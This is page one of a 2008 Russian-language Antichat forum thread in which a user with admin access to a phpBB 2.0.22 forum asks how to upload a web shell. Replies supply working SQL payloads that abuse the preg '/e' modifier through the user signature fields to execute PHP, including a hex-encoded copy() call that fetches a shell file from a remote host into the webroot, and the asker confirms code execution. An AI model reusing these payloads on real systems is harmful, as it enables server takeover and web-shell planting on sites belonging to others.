ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
Перезагрузить страницу заливка shell - phpbb2
   
Ответ
Страница 1 из 3 1 2 3 >
 
Опции темы Поиск в этой теме Опции просмотра

заливка shell - phpbb2
  #1  
Старый 17.04.2008, 18:59
Аватар для number0
number0
Познающий
Регистрация: 01.03.2008
Сообщений: 39
Провел на форуме:
210936

Репутация: 24
Exclamation заливка shell - phpbb2
Здраствуйте! Версия форума 2.0.22 чистый (без модов). Что есть:
1. админский акуант (доступ в админку)
2. серверный путь к форуму
3. config.php
ftp доступа нету. =( БД не root.

Собственно вопрос... как загрузить shell ?
 
Ответить с цитированием

  #2  
Старый 17.04.2008, 19:04
Аватар для Sleep
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
Провел на форуме:
2080216

Репутация: 150
Отправить сообщение для Sleep с помощью ICQ
По умолчанию
глянь
https://forum.antichat.ru/thread24488.html
и тут на ачате видео еще было по заливки шелла через бд
 
Ответить с цитированием

  #3  
Старый 17.04.2008, 19:07
Аватар для vp$
vp$
Участник форума
Регистрация: 22.10.2007
Сообщений: 138
Провел на форуме:
2454040

Репутация: 177
Отправить сообщение для vp$ с помощью ICQ
По умолчанию
если file_priv=N
то никакое видео не поможет, и врятли что то можно сделать
 
Ответить с цитированием

  #4  
Старый 17.04.2008, 19:20
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию
несколько раз заливал через
Цитата:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbbhpinfo()' WHERE user_id=2;
но при этом у меня всегда был доступ к БД, через phpMyAdmin
насчет твоей версии незнаю
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #5  
Старый 17.04.2008, 19:29
Аватар для number0
number0
Познающий
Регистрация: 01.03.2008
Сообщений: 39
Провел на форуме:
210936

Репутация: 24
По умолчанию
на форуме майскл имеет права file_priv=N
 
Ответить с цитированием

  #6  
Старый 17.04.2008, 19:32
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию
для того способа который я сказал file_priv не имеет значения
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #7  
Старый 17.04.2008, 19:39
Аватар для number0
number0
Познающий
Регистрация: 01.03.2008
Сообщений: 39
Провел на форуме:
210936

Репутация: 24
По умолчанию
Цитата:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbbhpinfo()' WHERE user_id=2;
Да, сроботал. PHP Version показало.
мм.. может уже есть и готовый шелл под скрипт выше указаный? С99 хотелось бы...
Последний раз редактировалось number0; 17.04.2008 в 19:41..
 
Ответить с цитированием

  #8  
Старый 17.04.2008, 19:44
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию
в user_sig пропиши phpbb:copy("http://путь до шелла/шелл.txt","/путь до папки/куда лить/шелл.php")
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #9  
Старый 17.04.2008, 19:59
Аватар для number0
number0
Познающий
Регистрация: 01.03.2008
Сообщений: 39
Провел на форуме:
210936

Репутация: 24
По умолчанию
Цитата:
UPDATE phpbb_users SET user_sig_phpbb:copy=("http://192.168.10.5/db.txt","/var/www/html/forum/db.php") WHERE user_id=2;
Не дало востановить БД. Где-то ошибочку допустил.. подправте пожалуйста.

Цитата:
SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
 
Ответить с цитированием

  #10  
Старый 17.04.2008, 20:04
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию
Код:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A636F70792822687474703A2F2F3139322E3136382E31302E352F64622E747874222C222F7661722F7777772F68746D6C2F666F72756D2F64622E7068702229 WHERE user_id=2;
не забудь пробелы убрать здесь:
F2F3 139322E3136382E31302E352F64622E747874222C222F76617 22F
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием
Ответ
Страница 1 из 3 1 2 3 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
webshell scripts -) blackybr PHP, PERL, MySQL, JavaScript 20 28.03.2010 02:17
заливка шела через Koobi CMS vp$ Сценарии/CMF/СMS 2 14.06.2008 08:43
Unix shell: работа, программы SSH PandoraBox Soft - *nix 3 08.04.2008 23:58
бэкап бд в phpBB2 Plus IGEMON Форумы 6 09.02.2008 01:20



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ